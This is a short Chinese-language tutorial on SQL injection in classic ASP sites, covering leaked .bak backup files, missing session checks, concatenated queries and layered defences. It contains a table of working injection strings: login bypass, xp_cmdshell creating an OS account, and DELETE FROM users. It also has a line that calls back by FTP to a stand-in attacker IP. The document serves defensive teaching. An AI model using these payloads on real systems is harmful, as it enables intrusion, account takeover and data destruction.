SQL 注入 是 Web 應用程式最嚴重的安全風險之一。本文從基礎程式錯誤、注入原理、實際攻擊載具、繞過長度限制、到完整防禦對策逐層解析。
編輯器 (EditPlus、UltraEdit) 自動產生 .bak,若未刪除部署至網站,攻擊者可直接下載 config.asp.bak 取得連線字串、密碼。
對策:關閉自動備份或部署前刪除所有 .bak。
受保護頁面 (如 manage.asp) 未重複驗證 Session,攻擊者直接造訪 URL 即可進入。
對策:每頁檢查 Session("login") = "ok",否則導向登入頁。
輸入未經過濾直接拼接 SQL 字串:
sql = "SELECT * FROM users WHERE name='" & name & "' AND pwd='" & pwd & "'"
| 輸入欄位 | 攻擊字串 | 產生 SQL | 效果 |
|---|---|---|---|
| name | admin' OR 1=1-- | ... name='admin' OR 1=1--' AND pwd='xxx' | 繞過密碼驗證,以 admin 登入 |
| name | admin'; EXEC sp_addlogin 'hacker'-- | 執行系統預存程序新增登入 | 需 sa 權限 |
| name | admin'; EXEC xp_cmdshell 'net user hacker 123 /add'-- | 執行 OS 命令新增系統帳號 | 需 sa 權限,極高風險 |
| name | admin'; DELETE FROM users-- | 刪除所有使用者資料 | 資料破壞 |
maxlength 或 action 指向原站,本地提交。-- 嘗試 FTP 連回攻擊者 IP,若成功代表具備 sa/xp_cmdshell 權限
name = 'admin'; EXEC xp_cmdshell 'ftp attacker_ip'--
Command.Parameters.Add("@name", name),徹底分離代碼與資料。xp_cmdshell、sp_OA 等高危擴展程序;啟用 sp_configure 'show advanced options', 0。SQL Injection 成因在於「資料當成代碼執行」。參數化查詢是根本解法,配合最小權限、輸入驗證、錯誤隱藏、WAF 多層防禦,才能有效降低風險。